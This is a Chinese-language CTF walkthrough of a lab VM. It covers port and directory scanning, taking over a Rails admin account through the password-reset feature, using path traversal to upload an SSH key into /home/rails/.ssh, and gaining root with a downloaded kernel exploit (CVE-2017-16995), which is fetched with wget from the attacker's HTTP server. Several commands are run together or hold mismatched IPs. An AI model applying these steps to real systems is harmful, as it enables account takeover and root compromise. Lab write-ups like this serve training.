下载靶机
问题阐述
使用virtualbox,kali和靶机均使用桥接网络
kali:172.20.10.10 靶机:172.20.10.11
打靶目标
root用户的flag.txt
打靶过程
信息搜集
1.nmap扫描存活主机,并对存活主机做端口扫描
nmap -v -sP 172.20.10.1/24 //主机存活扫描
nmap -sV -sC -p- 192.168.0.149 -oA trollcave-allports//参数分析-sV 扫描服务和版本信息-sC 使用ping探测方式- oA 结果保存到的位置
2.发现80端口,使用dirsearch做目录扫描
dirsearch -u "http://172.20.10.11/"
3.访问网站做信息搜集 http://172.20.10.11/login
漏洞利用
4.编写脚本遍历用户信息,king为超级管理员
5,且信息搜集发现网站的程序是 rails,寻找漏洞,并进行漏洞利用。
确定源码 https://github.com/rails/rails
安装的时候会创建用户 rails ,从文章得 网站有一个重置密码的功能 但是没有链接提交。(https://oomake.com/question/2399179)
5.1进行密码重置
访问此链接, http://172.20.10.11/password_resets/new.html ,进行密码重置
重置时发现king用户无法重置,选择重置xer,出现一个连接
访问此连接进行密码重置
5.2修改 king 密码
此时权限就大了很多
使用King权限,开启文件上传和用户注册功能
上传 php木马,但是网站不解释 php 文件,但是发现上传的文件可以上传到其他目录。因此可以试试 rails 用户是否存在 ,如果存在可以上传 authorized_keys 到 rails 用户下的.ssh 就可以免密码登录 ssh
6.生成ssh密钥
ssh-keygen -f railsmv rails.pub authorized_key
将他上传到/home/rails/.ssh/
上传时要利用../../../../../
跳转到根目录,故上传路径为../../../../../../../home/rails/.ssh/authorized_keys
然后进行ssh登录
mv rails id_rsa-railschmod 600 id_rsa-railsssh -i id_rsa-rails rails@172.20.10.11
权限提升
获取权限后查看系统信息
uname -a
cat /etc/lsb-release
找到一个cve-2017-16995 提权 (https://www.exploit-db.com/exploits/45010)
靶机上没有gcc,本地编译, 在kali上使用searchsploit找exp
searchsploit 4.4.0-116
cp /usr/share/exploitdb/exploits/linux/local/44298.c ./
gcc 44298.c
本地开启一个http服务,靶机下载cve,开启交互式shell
python3 -m http.server 9999 //kali上开启http服务
wget http://172.20.10.10:9999/exp
python3 -c 'import pty; pty.spawn("/bin/bash")' //开启交互式shell
给exp添加可执行权限
chmod +x exp
最后执行exp,获取flag.txt